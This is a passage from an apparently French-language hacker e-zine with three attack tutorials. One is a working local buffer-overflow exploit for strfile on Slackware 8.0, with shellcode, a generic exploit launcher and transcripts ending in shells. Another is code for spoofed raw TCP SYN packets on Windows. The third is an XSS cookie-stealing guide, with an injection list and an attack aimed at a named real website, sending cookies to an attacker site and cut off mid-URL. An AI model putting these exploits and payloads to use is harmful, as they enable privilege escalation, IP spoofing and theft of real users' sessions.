                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

        printf("lenght of %d\r\n", strlen(shellcode));
}



root@Rewter:~/tool# gcc length.c -o len
root@Rewter:~/tool# ./len
lenght of 32


  
	     Nous savons maintenant  que notre shellcode  a une grosseur  de 32
	     bytes. Nous pouvons donc assumer avec certitude qu'il nous  faudra
	     4112 bytes  de nop  pour complter  notre buffer  (il ne  faut pas
	     oublier que l'adresse qui rcrit eip prend 4bytes).

	     
	     
eip : C'est dans les 4 bytes du eip que se  trouve  l'adresse  de  retour.   Il
      nous faut donc trouver une adresse mmoire au milieu de nos nop. pour  ce
      faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a
      notre code de padding, sauf que au lieu de crer des A il crer des nop.  
      
      
//nop.c
//padding de nop dans un buff      
#include <stdio.h>

main(int argc,char* argv[]) {
        int x;
        if (argc > 1)
        {
        // 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
                for (x=0;x<atoi(argv[1]);x++)
                        printf("\x90");
        }
}
    
    
    

root@Rewter:~/tool# strfile `./nop 4148`
Segmentation fault (core dumped)
root@Rewter:~/tool# gdb -c core -q
Core was generated by `strfile ???????????????????????????????????????????????????????????????????????'.
Program terminated with signal 11, Segmentation fault.
#0  0x804b674 in ?? ()
(gdb) p $ebp
$1 = (void *) 0xbfffe968
(gdb) x/12 0xbfffe968

          
On print ebp pour retourner au dbut du frame de notre fonction. et a laide  de
x/12 on imprime le contenu hexadcimal de la mmoire a partir de cette endroit,
il suffit  de faire  quelques enters  pour trouver  une adresse   laquelle  on
retrouve un nop :
          
      
(gdb)
0xbfffeae8:     0x00000000      0x0000000e      0x00000000      0x0000000f
0xbfffeaf8:     0xbfffeb1b      0x00000000      0x00000000      0x00000000
0xbfffeb08:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
0xbfffeb18:     0x69000000      0x00363836      0x66727473      0x00656c69
0xbfffeb28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb38:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb)
0xbfffeb48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb68:     0x90909090      0x90909090      0x90909090      0x90909090


On reconnat ici no  90 (0x90) qui reprsente  des nop, n'importe quel  adresse
dans  ce range  pourrais servire  pour notre  buffer overflow,  nous allons  en
prendre une vers le dbut,  pour tre sur de ne  pas jumper au milieu de  notre
shellcode (dans le cas  de strfile avec un  buffer de 4148 bytes  le danger est
pas norme, mais ne prenons pas  de risque par principe). ici par  exemple nous
pourrions choisir l'adresse bfffeb58.


Une autre faon de calculer l'adresse est  de le faire faire par un petit  code
en C. 



//offset.c
//calcul le ret et ajuste avec l'aide de l'offset
#include <stdio.h>


unsigned long getesp()
        {
        __asm__("movl %esp, %eax");
        }


main(int argc, char* argv[])
        {
        unsigned long esp;
        char* ret;

        esp = getesp();
        if (argc > 1)
                esp += atoi(argv[1]);


        ret = &esp;
        printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]);
        }



Maintenant que nous avons  la possibilit de rcrire  le eip avec une  adresse
qui jumpera au  dbut de notre  buffer. l'offset est  un nombre qu'on  passe en
argument que l'exploit  addition a l'adresse  hexadcimal afin de  permettre un
peu de souplesse a l'exploit. de petite variation pouvant arriver d'un  systme
a l'autre il est  toujours pratique d'avoir la  chance de jumper a  une adresse
plus haute en mmoire. Nous sommes  maintenant prt  btir un buffer  que nous
copierons dans un  tird part text,  dont nous nous  servirons comme argument  
passer  strfile. 


Dans un premier temps  il nous faudra un  code qui output notre  shellcode pour
ensuite le passer en  argument  un programme  qui assemblera nop shellcode  et
eip. 


//shellcode.c
//print le shellcode pour le passer en arguement

#include <stdio.h>

        char shellcode[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
        {
        printf("%s",shellcode);

        }




//build_buf.c
//assemble le buffer (nop + shellcode + ret (eip)
#include <stdio.h>


main(int argc, char* argv[])
        {
        int buffer_size;
        char* shellcode;
        char* ret;
        int x,y;

        if (argc > 3)
                {
                buffer_size = atoi(argv[1]);
                shellcode = argv[2];
                ret = argv[3];
                x = buffer_size;
                x -= strlen(shellcode);
                for (y=0;y<x;y++)
                        printf("\x90");
                printf("%s",shellcode);
                printf("%s",ret);

                }
                else
                {
                printf("USAGE: ./build_bof BUFFER_SIZE SHELLCODE RET\r\n");

                }
        }



root@Rewter:~/tool# ./build_bof 4148 `./shellcode` `./offset` > buf
root@Rewter:~/tool# strfile `cat buf`
sh-2.05#

Tadam  on vient  de russir  un buffer  overflow. nous  n'avons pas  eu  besoin
d'offset, mais jumper  l'intrieur d'une zone de 4148 bytes est quelque  chose
d'assez facile  faire. ce n'est pas l'espace qui manque.


Noter que strfile ne possde pas de suid root, donc l'exploit ne donnera pas le
root, il va seulement conserver les  privilges que vous avez dj. ici  je lai
lancer  root,  c'est  pourquoi  je suis  root.  cependant  il  n'existe pas  de
diffrence au  niveau code  pour exploiter  un programme  suid 0 d'un programme
non-suid 0.


Maintenant que nous avons une vague  ide de ce a quoi notre  exploit ressemble
nous  allons  en  btir  un  static  pour  strfile.  qui  sera  compilable   et
distribuable.
 

//mkd_strfile.c
//exploit static pour slackware 8.0 strfile (bsdgame package)
#include <stdio.h>


//location du bin a exploiter
#define PATH "/usr/bin/strfile"
//grandeur du buffer total
#define BUFFER 4148
//addresse de retour (pour ecraser eip)
#define RET "\xbf\xff\xeb\x58"

main (int argc,char* argv[])
        {
        char shellcode[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

        char nop[] = "\x90";
        int x;
        char* payload;

	//creation du padding de nop
        for (x=1;x<BUFFER - strlen(shellcode) - 4;x++)
                {
                strcat(payload,nop);
                }	

		
                printf ("nop in bytes : %d\r\n",strlen(payload));
                //ajout du shellcode
		strcat(payload,shellcode);
		printf ("nop + shellcode in bytes : %d\r\n",strlen(payload));
                //ajour du ret
		strcat(payload,RET);
                printf ("nop + shellcode + ret in bytes : %d\r\n",strlen(payload));


		//execution de l'exploit
                execl(PATH, "strfile", payload, NULL);
        }



Il nous reste  donc plus qua  tester notre exploit.  L'excution de /bin/sh  se
fait  bien,  nous  avons donc  russi    crer un  exploit  pour  strfile sous
slackware 8.0 

root@Rewter:~/tool# gcc mkd_strfile.c -o mkd_strfile
root@Rewter:~/tool# ./mkd_strfile
nop in bytes : 4112
nop + shellcode in bytes : 4144
nop + shellcode + ret in bytes : 4148
sh-2.05#



Maintenant que nous avons notre exploit strfile, il serait intressant de crer
un exploit gnrique  qui permet d'exploiter  n'importe quelle buffer  overflow
local. He bien, dans mon immense gnrosit j'ai cod cette exploit. Le voici : 


#include <stdio.h>
#include <stdlib.h>


unsigned long getesp()
	{
	__asm__("movl %esp, %eax");
	}


main(int argc, char* argv[]) 
	{
	int buffer_size, i;
	char shellcode[] =
		"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
		"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
		"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
	char nop[] = "\x90";
	char* path;
	char* buff;
	char* payload;
	char* redhat;

	unsigned long ret;
	if (argc > 4) 
		{

		/*definition des variable*/
		path = argv[1];
		buffer_size = atoi(argv[2]);
		redhat = argv[4];
		/*mettre laddresse memoir de %esp dans esp*/
		ret = getesp();

                /*calcule du ret*/
                ret += atoi(argv[3]);


		buff = malloc(4096);
		payload = buff;


		/*padding du payload*/
		if (*redhat == 'n') 
                        {
                        	for (i=0;i<buffer_size-strlen(shellcode)-strlen(ret);i++)
                        		strcat(&payload[0], nop);
                        }
		else 
                        {
                        	for (i=0;i<buffer_size-strlen(shellcode)-strlen(ret)+4;i++)
                        		strcat(&payload[0], nop);
                        }

		/*ajout du shellcode au payload*/
		strcat (&payload[0], shellcode);	

		
		/*ajout du ret au payload*/
	 	strcat (&payload[0], ret);

		/*execution de lexploit*/
		if (argc > 5) 
                        {
                        printf("trying to exploit %s %s\n", &path[0], argv[5]);
                        }
		else 
                        {
                        printf("trying to exploit %s\n", &path[0]);
                        }
		printf("a buffer of %d\n", buffer_size);
		printf("using a shellcode of %d\n", strlen(shellcode));
		printf("with a padding of %d\n", buffer_size-strlen(shellcode)-4);

		printf("and an offset of %d\n", atoi(argv[3]));

		printf("jumping to 0x%x\n", ret);
		printf("payload lenght %d\n", strlen(payload));

		if (argc > 5) 
                        {
                        execl(path, "genericbuf", argv[5], payload, NULL);
                        }
		else
                        {
                        execl(path, "genericbuf", payload, NULL); 
                        }
		} 
	else
		{
		printf("usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]\n");
		}
	}

                        
                        
Ce code prend en compte les 4 bytes de trop sous un systme red hat, pour  vous
montrez son fonctionnement j'exploiterais strfile  nouveau. Mais en  utilisant
buf_generic_x86 au lieu de mkd_strfile 

root@Rewter:~/tool# ./buf_generic_x86
usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]
root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n
trying to exploit /usr/bin/strfile
a buffer of 4148
using a shellcode of 32
with a padding of 4112
and an offset of 0
jumping to 0xbffff94c
payload lenght 4148
sh-2.05#


Et pour la 3ime fois dans cet article, nous avons russi  exploiter  strfile.
comme vous avez pu remarquer, il existe plus qu'une faon d'arriver a exploiter
un buffer  overflow local.  J'espre que  ce texte  vous aura  apporter quelque
chose ne serais-ce que le buf_generic.c  si vous saviez deja faire des  buffers
overflow.  sinon,  he bien,  peu  tre aurez  vous  trouvez le  complment  qui
manquais au doc existant pour arriver  votre fin. 


Greets : __2 avec qui j'ai construit les tools en C qui permettent de crer  un 
buffer dans un file. 


                                                		   Wyzeman



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                wyzeman@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



   < Mindkind tales from IRC >
   
  [13:43] <init_null> la mere a last en show dans mindkind
  [13:43] <init_null> tutoriel sur comment mettre au monde un geek
  [13:44] <init_null> education 101
  [13:44] <Wyzeman> how to stuff your geek
  [13:44] <Wyzeman> feed the geek
  [13:44] <LastCall_> hahahaha
  [13:44] <init_null> comment faire le menage de la chambre de votre geek
  [13:44] <LastCall_> HAHAHAHA
  [13:44] <Wyzeman> votre geek et la sexualiter
  [13:45] <init_null> cours acclrer sur les relations sexuelles hors-irc
  
  < ----------------------- >


                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.10 Comment sender des packets RAW sous windows 2k/XP\        \     !
     .             aka                                         \        \    .
     ;       ginette ginette, laisse moi entrer dans ton socket \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                   



                      AVERTISSEMENT                       

 Cet article est destin  ceux et celles qui savent dj 
  utiliser les sockets, qui ont une bonne base en TCP/IP  
 qui connaissent les principes des raw sockets de base et 
                      le language C.                      


------------------------------------------------------------


                      INTRODUCTION                        


Bonjour,

si vous avez continu  lire malgr le petit  avertissement,
c'est signe que vous savez dj l'utilit des raw sockets au
del du simple SYN flood. Je vais donc vous pargner l'intro
et commencer tout de suite le ct intressant.

Dans  cet  article  je   ne  vais  pas  parler   des  autres
possibilits avec  les raw  sockets, comme  par  exemple  de
pouvoir "sniffer" les packets  qui entrent et sortent  d'une
box. Je vais me concentrer sur l'envoi de packets raw.



                   LE SOCKET LUI-MME                     


Pour commencer,  vous devez  absolument tre  administrateur
sur  la box  o vous  voudrez faire  des raw  sockets. Seul
l'admin a les droits pour les utiliser.  moins de crer une
cl  dans  votre  registre,  qui  permettrait    tout   les
utilisateurs  de s'en  servir. Crez  la cl  ci-dessous et
settez sa valeur qui est de type DWORD  1.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Afd\Parameters\DisableRawSecurity

Vous aurez aussi besoin d'un header "custom" pour setter vos
header TCP et IP.  J'en ai inclus un   la fin de  l'article
sous le chapitre "HEADER   UTILISER". Je tient  toutefois 
mentionner que  je n'ai  PAS programm  le header.  Il a t
fait par "ziss".

Les autres headers dont vous aurez besoin sont  <winsock2.h>
et  <ws2tcpip.h>. N'oubliez  pas d'inclure  la librairie  de
winsock2 "ws2_32.lib".  Personellement je  suggre, si  vous
utilisez MS visual C++, d'utiliser la petite commande:

	#pragma comment(lib, "ws2_32.lib");

La dclaration d'un socket  "normal" ou de type  SOCK_STREAM
ou SOCK_DGRAM est simple:

	SOCKET sock;
	socket(AF_INET, SOCK_STREAM, 0);

Pour la dclaration d'un raw socket, quelques petites choses
diffrent. Voici un exemple:

	SOCKET sock;
	socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

J'attire votre attention sur le SOCK_RAW, qui est le type de
socket, et  sur IPPROTO_RAW  qui est  le protocole  qui sera
utilis par le socket.

Il est important de configurer notre socket pour qu'il  soit
"vraiment" raw. Nous faisons a de cette faon:

	BOOL bOpt = TRUE;
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, 
sizeof(bOpt));

Votre  socket est  maintenant raw  et prt   tre  utilis.
Notez que  pour utiliser  IP_HDRINCL, vous  devez absolument
tre en administrateur ou bien  avoir mit la petite cl  que
j'ai mentionne plus haut.


                    LES HEADERS TCP/IP                    


Je ne vais pas m'attarder  l'explication des headers TCP/IP
puisque je crois que pas mal  tout le monde ont dj lu  sur
le sujet. Un packet contient toute les informations qu'il  
besoin pour se diriger sur l'internet. Il contient l'adresse
du destinataire, celle de  l'envoyeur et autre choses  comme
la version IP, la grandeur  du packet, le checksum, le  port
de  l'envoyeur  et  du  destinataire,  etc.  Si  vous   tes
intresss  en savoir plus sur les headers TCP/IP ou sur le
TCP/IP lui-mme, je vous  suggre de jeter un  oeil attentif
sur le rfc1180.

Les headers  TCP/IP seront  facilement configurable  avec la
librairie "tcpip.h" fournie   la fin  de cet article.  Pour
vous donner une ide, je vais faire les headers TCP et IP.

	IP_HDR	ipHeader;

	ipHeader.ip_checksum	= 0;
	ipHeader.ip_id		= 1;
	ipHeader.ip_offset	= 0;
	ipHeader.ip_protocol	= IPPROTO_TCP;
	ipHeader.ip_tos		= 0;
	ipHeader.ip_totallength	= htons(iSize); // iSize = sizeof(ipHeader) + sizeof(tcpHeader);
	ipHeader.ip_ttl		= 128;		// Time to live (en hops) gnralement 128
						// parfois 48, dependant de vos besoins
	ipHeader.ip_verlen	= (4 << 4) | iIPSize; 	// iIPSize = sizeof(ipHeader) / sizeof(unsigned long);

	ipHeader.ip_destaddr	= inet_addr("127.0.0.1");	// addresse de destination
	ipHeader.ip_srcaddr	= inet_addr("7.7.7.7");	// source

Avec des noms de variables aussi clairs que a, je ne  crois
pas avoir besoin d'expliquer chaque chose ;). J'ai pris soin
de  mettre  les  variables  en  commentaire  o  elles  sont
utilises,  pour  avoir  une  ide  de  ce  que  vous faites
vraiment. Maintenant allons y pour le TCP.

Un des avantages des raw  sockets, est que vous pouvez  vous
mme choisir  la provenance  du packet.  C'est   dire qu'en
changeant  le  IP_HDR.ip_srcaddr  pour un  autre  ip  que le
vtre, (7.7.7.7 dans ce cas-ci), la personne qui va recevoir
le packet  pensera qu'il  viens de  ce ip.  C'est d'ailleurs
comme a que les smurfs marchent. Ils envoient un ping  une
liste de serveurs, les  serveurs, eux, vont tous  rpondre 
la "victime" en mme temps ce qui va causer sa dconnection,
tout dpendant de plusieurs facteurs. Assez parl de  smurf,
et continuons avec le TCP.

	TCP_HDR tcpHeader;

	tcpHeader.acknum	= 0;
	tcpHeader.DataOffset	= (5) << 4;
	tcpHeader.Flags		= SYN;
	tcpHeader.seqnum	= htonl(7777); // n'importe quoi
	tcpHeader.Windows	= htons(7777); // n'importe quoi
	tcpHeader.Checksum	= 0;
	tcpHeader.UrgPointer	= 0;
	tcpHeader.sport		= htons(7777); // le port source,
						// ce que vous voulez ;)
	tcpHeader.dport		= htons(80);   // le port de la destination

C'est assez simple ici aussi, je ne pense pas que  quelqu'un
ne comprenne pas quelque chose. Lors d'une connexion TCP/IP,
l'hte  gnre  un "numro  de  squence initiale"  (Initial
sequence number (ISN)). Ce numro est utilis pour garder la
trace sur les  paquets envoys et  pour tre certain  que la
connexion continue bel et  bien. Dans notre situation,  avec
des sockets  raw, on  ne se  sert pas  vraiment de  a, vous
pouvez donc marquer ce que vous voulez  "tcpHeader.seqnum".
De mme pour "tcpHeader.Windows".

Maintenant, on va avoir besoin d'un pseudo-header pour faire
le checksum  de notre  header TCP.  C'est trs  semblable au
TCP_HDR en fait, voici comment on procde:

	PS_HDR psHeader;

	psHeader.placeholder	= 0;
	psHeader.protocol	= IPPROTO_TCP;
	psHeader.tcp_length	= htons(sizeof(tcpHeader));
	psHeader.source_address	= inet_addr("7.7.7.7"); //comme dans le IP_HDR
	psHeader.dest_address	= inet_addr("127.0.0.1");//mme chose ici aussi
	memcpy(&psHeader.tcp, &tcpHeader, sizeof(tcpHeader));

Voil, on a cr  notre pseudo header et  pouvons maintenant
procder au checksum :

	tcpHeader.Checksum	= checksum((usigned short *)&psHeader, sizeof(psHeader));

Ceci conclus le chapitre.


                   EXAMPLE DE CODE                        


/************************************************************/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include "tcpip.h"
#pragma comment(lib, "ws2_32.lib")

int CreatePacket(int, int, int, char[]);
int SendPacket(int, int, int);

int main()
{
    int destPort		= 80;				// le port de destination
    int destIP			= inet_addr("127.0.0.1");	// Addresse de destination
    int srcIP			= inet_addr("19.13.2.7");	// Provenance (ce que vous voulez)

	// envoi de 5 packets
	for(int a = 0; a < 5; a++)
		SendPacket(destPort, destIP, srcIP);

	return 0;
}

int CreatePacket(int dport, int destIP, int srcIP, char buf[])
{
	// Dclaration des headers TCP IP et Pseudo header
    	IP_HDR			ipHeader;
	TCP_HDR			tcpHeader;
	PS_HDR			psHeader;
    	int			iSize,		// Grosseur totale du packet ( + sizeof(autre_buffer) )
				iIPVersion,	// La version, dans notre cas IPv4
				iIPSize;	// La grosseur du IP
    	char			*cPtr = NULL;


    	iSize = sizeof(ipHeader) + sizeof(tcpHeader);
    	iIPVersion = 4;
    	iIPSize = sizeof(ipHeader) / sizeof(int);

	// Configuration des headers
	// Header IP
	ipHeader.ip_checksum		= 0;
	ipHeader.ip_id			= 1;
	ipHeader.ip_offset		= 0;
	ipHeader.ip_protocol		= IPPROTO_TCP;
	ipHeader.ip_tos			= 0;
	ipHeader.ip_totallength		= htons(iSize);
	ipHeader.ip_ttl			= 128;
	ipHeader.ip_verlen		= (4 << 4) | iIPSize;

	ipHeader.ip_destaddr		= destIP;		// addresse de destination
	ipHeader.ip_srcaddr		= srcIP;		// source

	// Header TCP
	tcpHeader.acknum		= 0;
	tcpHeader.DataOffset		= (5) << 4;
	tcpHeader.Flags			= SYN;
	tcpHeader.seqnum		= htonl(7777);
	tcpHeader.Windows		= htons(7777);
	tcpHeader.Checksum		= 0;
	tcpHeader.UrgPointer		= 0;
	tcpHeader.dport			= htons(80);	// destination
	tcpHeader.sport			= htons(7777);	// source

	// Pseudo Header
	psHeader.placeholder		= 0;
	psHeader.protocol		= IPPROTO_TCP;
	psHeader.tcp_length		= htons(sizeof(tcpHeader));
	memcpy(&psHeader.tcp,&tcpHeader, sizeof(tcpHeader));
	psHeader.dest_address		= destIP;	// destination
	psHeader.source_address		= srcIP;	// source

	// Calcul du checksum
	tcpHeader.Checksum 		= checksum((USHORT *)&psHeader, sizeof(psHeader));

	// Prparation du buffer
	memset(buf, 0, sizeof(buf));
	cPtr = buf;
	memcpy(cPtr, &ipHeader, sizeof(ipHeader));
	cPtr = cPtr + sizeof(ipHeader);
	memcpy(cPtr, &tcpHeader, sizeof(tcpHeader));
	cPtr = cPtr + sizeof(tcpHeader);

	return 0;
}

int SendPacket(int destPort, int destIP, int srcIP)
{
	WSADATA		WSAData;
	SOCKET		sock;
	BOOL		bOpt =true;
   	struct		sockaddr_in sin;
   	char		buf[40];

    	WSAStartup(MAKEWORD(2,2), &WSAData);

	sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0);

    	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
    	sin.sin_family = AF_INET;
    	sin.sin_port = htons(1);
    	sin.sin_addr.s_addr = destIP;

	// Envoi de 1 packet
	CreatePacket(destPort,destIP,srcIP, buf);
	sendto(sock, buf, sizeof(buf), 0, (SOCKADDR *)&sin, sizeof(sin));

	// Cleaning up...
    	closesocket(sock);
    	WSACleanup();
    	return 0;
}

/************************************************************/



                   HEADER  UTILISER                      


J'ai trouv ce petit header dj programm par "ziss".  J'en
ai vu beaucoup d'autres, mais j'ai trouv que celui-ci tait
le mieux  construit avec  des noms  de variables appropris.
J'ai donc choisi de l'inclure dans cet article.

/*************************** TCPIP.H ********************************/
/************************** by:  ziss *******************************/
#ifndef _TCPIP_H_
#define _TCPIP_H_

// Standard TCP flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01

// Our tcp header struct
typedef struct tcp_hdr
	{
	unsigned short	sport;
	unsigned short	dport;
	unsigned int	seqnum;
	unsigned int	acknum;
	unsigned char	DataOffset;
	unsigned char	Flags;
	unsigned short	Windows;
	unsigned short	Checksum;
	unsigned short	UrgPointer;
	}TCP_HDR;

// Our ip header struct
typedef struct ip_hdr
{
    unsigned char  ip_verlen;        // IP version & length
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP, UDP, etc.)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Destination address

} IP_HDR;

// Our pseudo header struct
typedef struct ps_hdr
   {
      unsigned int source_address;
      unsigned int dest_address;
      unsigned char placeholder;
      unsigned char protocol;
      unsigned short tcp_length;
      struct tcp_hdr tcp;
   }PS_HDR;

// Standard TCP/UDP checksum function.
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}
#endif

/********************** END TCPIP.H *************************************/


                      CONCLUSION                          


Il  y a  beaucoup   faire avec  les raw  sockets.  Je  vous
suggre fortement  de lire  plus sur  le sujet  si vous tes
intress. Les possibilits  sont infinies, mais  ceci n'est
que  la poigne  de la  porte. J'espre  toutefois que  vous
aurez appris un peu, ceci  conclus ce court article sur  les
raw sockets 2k/XP.





            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 alice514@hotmail.com                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



   < Mindkind tales from IRC >
   < WARNING : TOO MUCH IRC CAN AFFECT YOUR SEXUAL LIFE (if you have one >

   [13:07] <BoiSS> LastCall_: garde ste boutte la pour le prochain e-zine :P
   [13:07] <BoiSS> <LastCall_> srieux les gars c plus le fun se hacker nous meme
   [13:08] <BoiSS> <LastCall_> ahha
   [13:08] <BoiSS> <LastCall_> jvois plus de but
   [13:08] <BoiSS> <LastCall_> hehe
   [13:08] <BoiSS> <MindFlayR> hahaha
   [13:08] <BoiSS> <LastCall_> c comme se masturber genre
   [13:08] <BoiSS> <LastCall_> c pas dangeureux
   [13:08] <BoiSS> <LastCall_> pis c le fun pareil
   [13:08] <BoiSS> <LastCall_> haha
   [13:08] <BoiSS> <LastCall_> surement qua longue on se tanne..
   [13:08] <LastCall_> haha
  
   < ----------------------- >

                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.11    Cross-Site Scripting, gimme a cookie          \        \     !
     .             aka                                         \        \    .
     ;             cookie-stealing, it's EVIL                   \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\


C'est quoi le cross site scripting ?
------------------------------------

Bin, c'est une attaque qui consiste  faire excuter des choses mchantes a une
application web pour voler des informations sur les utilisateurs. Par  exemple,
un hyper lien (merde l'Office de  la langue franaise doit tre fier,  un terme
francophone dans Mindkind) qui contient des instructions autres que celles  que
l'utilisateur voit. (hen!, j'comprends pas pas). Humm ok peut-tre qu'avec  des
exemples a va mieux  aller. On peut faire  des attaques XSS (l'abrviation  de
cross site scripting) en javascript, activeX, vbscript, flash et mme html.  On
les utilises souvent pour voler  des cookies aux utilisateurs, mais  aussi pour
spoofer (la  l'Office de  la langue  franaise m'emmerde  j'crois) une attaque,
faire du DoS (si si c'est  possible avec un peu d'imagination), etc.  Aussi, il
ne faut pas absolument cliquer sur  un lien pour tre vulnrable   une attaque
XSS,  il  est  possible de  faire  excuter  le code  dans  un  html e-mail  ou
directement en visitant une page web. 

A l'attaque moussaillon
-----------------------
Bon, premirement, il faut trouver une  faille XSS. Une mthode simple pour  en
dcouvrir est de remplacer n'importe quel donnes en user input par 
<script>alert(document.cookie);</script>
Les meilleurs endroits pour chercher des failles XSS sont les CGI scripts,  les
engins de recherche, les forums interactifs, les pages d'erreurs personnalises
etc... Voila des exemples d'endroits ou  vous pouvez insrer le evil code  dans
le code normal. 

XSS common injection
--------------------
<a href="javas&#99;ript&#35;[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<s&#99;ript>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script))<!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]

Comme chez Mindkind  on est pas  cheap, on va  vous faire un  exemple rel mais
inutile  de  cookie stealing    l'aide d'une  attaque  XSS. Vu  qu'on  est des
comiques on a cibl www.toile.qc.ca en hommage  Pierre-Karl Pladeau (osti  de
cave) 

Tiens l'engin de recherche est vulnrable
URL preuve:

http://recherche.toile.qc.ca/cgi-bin/recherche?ou=T&q=&categorie=&ad=w5n2&client=
netgraphe&ie=latin1&oe=latin1&output=xml_no_dtd&ip=205.237.234.78&userid=netgraphe
&userip=205.237.234.78&start=0&num=20&lr=&query=%3Cscript%3Ealert%28
document.cookie%29%3B%3C%2Fscript%3E&x=24&y=7

Bon si vous avez visit www.toile.qc.ca le cookie va contenir de quoi (sinon il
n'apparatra rien parce qu'il va tre vide)
Dans mon cas a la donn un cookie contenant xs=2 (joie)
Bon on va voler les cookies des autres users.
Il faut procder en 5 tapes :
1- Trouver une application  vulnrable au XSS qui  possde une forme de  login.
(si on veux voler quelque chose d'intressant mais c'est pas notre cas, on  est
des thoriciens, pas des criminels)
C'est fait.
2- Envoyer une requte visant  voler le cookie d'un utilisateur de la toile du
Qubec  l'utilisateur en question.  On peux utiliser le social  engineering ou
peu importe, tant qui  excute le code dans  son browser. Pour l'exemple  on va
faire une page web bidon 

Code source de la page web:
<html>
<head>
<title>MindFlayR evil cookie stealing page</title>
</head>
<body>
<a href="http://recherche.toile.qc.ca/cgi-bin/recherche?page=1&lang=fr&operator=and&categorie=
&tronquer=&query=%3Cscript%3Edocument.location.replace%28%27http%3A%2F%2Fmindflayrwebsite.com
